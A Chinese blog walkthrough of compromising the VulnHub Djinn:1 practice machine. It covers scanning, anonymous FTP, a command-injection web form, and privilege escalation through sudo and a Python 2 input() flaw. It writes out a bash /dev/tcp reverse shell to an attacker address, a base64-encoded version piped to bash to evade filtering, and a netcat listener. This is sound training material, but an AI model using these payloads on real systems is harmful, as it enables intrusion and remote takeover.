vulnhub靶机djinn:1渗透笔记

本文详细记录了对Vulnhub靶机Djinn 1的渗透过程,包括信息收集、端口扫描、FTP匿名登录、发现可执行命令的Web服务、利用命令注入获取shell、权限提升以及通过源码审计找到漏洞最终获取root权限。通过这个过程,读者可以学习到渗透测试的基本步骤和技术。
摘要由CSDN通过智能技术生成
djinn:1渗透笔记

靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/

信息收集

首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali ip地址
在这里插入图片描述
当打开这台靶机的时候我们就知道ip地址
在这里插入图片描述

由于我们已经确定了靶机的ip所以我们直接扫描开放端口

nmap -A -p- 192.168.20.145

在这里插入图片描述

首先我们去访问一下21端口的ftp服务,发现可以匿名登录。根目录有三个txt文本文件我们依次打开查看

在这里插入图片描述

在这里插入图片描述

creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

我们可以发现在game.txt中提示,1337端口上设置了一个游戏,打开浏览器查看发现被重置,那我们尝试telnet上去看看

在这里插入图片描述

需要我们回答1000次问题估计要写个脚本我们先暂时放一边

端口扫描还发现7331端口并且运行着http服务,访问一下看看有什么收获。查看后没有什么发现。

在这里插入图片描述

还是没有什么发现

目录扫描

这里我没有比较合适的字典就借用师傅的一张图

在这里插入图片描述

经过扫描发现了两个目录一个/wish一个/genie两个目录,依次访问

在这里插入图片描述

这个目录我们好像没有权限

我们继续访问/wish这个目录

在这里插入图片描述

有点像是命令执行

在输入框输入"id",页面跳转到了"/genie",并成功执行了命令

在这里插入图片描述

漏洞利用

我们直接向kali反弹一个shell,在输入框中输入反弹shell的命令,并在kali端进行监听

bash -i >& /dev/tcp/192.168.20.130/1234 0>&1
nc -lvvp 1234

但是报出了错误信息,推测过滤了一些字符,使用bp抓包测试看看

在这里插入图片描述

下面这样是可以的

在这里插入图片描述

在这里插入图片描述

但这样就不行了

在这里插入图片描述

在这里插入图片描述

看来确实拦截了一些字符,经过多次尝试发现echo指令可以执行

在这里插入图片描述

在这里插入图片描述

那我试试把反弹shell base64编码一下再尝试执行

kali先监听1234口

nc -lvvp 1234

输入框内输入

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEzMC8xMjM0IDA+JjE= | base64 -d | bash

在这里插入图片描述

成功监听

获得交互式提示符

python -c "import pty;pty.spawn('/bin/bash')"
读取flag

读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件

在这里插入图片描述

在这里插入图片描述

在/opt/80目录下发现了一个app.py文件,查看一下文件内容发现了有点东西,这个txt我们去看看是啥

在这里插入图片描述

在这里插入图片描述

好像是用户名密码我们去登录

在这里插入图片描述

然后我们查看/home/nitish下的user.txt即可

在这里插入图片描述

权限提升

查看一下sudo的权限命令,发现有一个无需密码即可执行的命令

在这里插入图片描述

查看一下genie的用法

man genie

发现-p参数

在这里插入图片描述

和-cmd参数

在这里插入图片描述

发现-p不行但是使用-cmd成功拿到sam的shell

sudo -u sam /usr/bin/genie -cmd whoami

在这里插入图片描述

再次执行sudo -l

在这里插入图片描述

接下来有点懵了,实在没办法找一下可写的文件

find / -writable -type f 2>/dev/null

在这里插入图片描述

使用scp将.pyc文件下到kali中,然后进行反编译网址如下

https://tool.lu/pyc/

scp /home/sam/.pyc root@192.168.20.130:/root

得到源码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'

if __name__ == '__main__':
    main(options())

仔细审计一下发现这里有input函数,发现为python2的版本。搜一下python input()vulnerability,看看input函数漏洞,参考文章

https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入"num"利用此漏洞即可。到这时候我们已经获得root权限

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>